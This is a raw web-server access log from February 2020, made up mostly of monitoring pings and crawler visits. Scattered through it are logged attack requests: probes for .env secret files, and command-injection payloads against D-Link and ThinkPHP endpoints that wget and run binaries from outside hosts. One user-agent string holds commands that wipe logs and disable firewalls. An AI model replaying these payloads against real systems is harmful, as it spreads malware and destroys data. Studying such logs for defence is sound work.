212.91.246.72 - - [23/Feb/2020:19:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.210.220.170 - - [23/Feb/2020:19:47:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:19:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:40 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /server/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /config/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /search/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /cron/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /src/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /master/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /application/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /frontend/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:41 +0100] "GET /mods/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /routes/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /site/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /laravel-artisan/.env HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.177 - - [23/Feb/2020:19:53:42 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [23/Feb/2020:19:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [23/Feb/2020:19:55:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [23/Feb/2020:19:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.97.76.238 - - [23/Feb/2020:19:57:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
212.91.246.72 - - [23/Feb/2020:19:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:19:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.93.134.173 - - [23/Feb/2020:20:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
94.123.167.237 - - [23/Feb/2020:20:06:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:20:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.188.196.71 - - [23/Feb/2020:20:08:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:20:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.165.102.225 - - [23/Feb/2020:20:10:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:20:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
146.158.38.35 - - [23/Feb/2020:20:14:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:20:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.237.196.26 - - [23/Feb/2020:20:15:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:20:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.126.29.107 - - [23/Feb/2020:20:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:20:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.41 - - [23/Feb/2020:20:18:51 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.39 - - [23/Feb/2020:20:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [23/Feb/2020:20:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.229.168.151 - - [23/Feb/2020:20:19:52 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.130 - - [23/Feb/2020:20:19:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
46.229.168.131 - - [23/Feb/2020:20:19:55 +0100] "GET /sitemap.xml HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
64.227.55.76 - - [23/Feb/2020:20:20:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:20:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.153.49.132 - - [23/Feb/2020:20:24:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:20:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.68.66.238 - - [23/Feb/2020:20:31:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:20:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.155.128.205 - - [23/Feb/2020:20:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:20:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.89.217.206 - - [23/Feb/2020:20:35:06 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [23/Feb/2020:20:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.202.68 - - [23/Feb/2020:20:36:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [23/Feb/2020:20:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.55.224.150 - - [23/Feb/2020:20:39:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.178.31.149 - - [23/Feb/2020:20:39:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:20:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.135.85.189 - - [23/Feb/2020:20:43:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:20:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.47.46.85 - - [23/Feb/2020:20:49:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:20:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:20:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.45.121.69 - - [23/Feb/2020:20:56:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:20:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
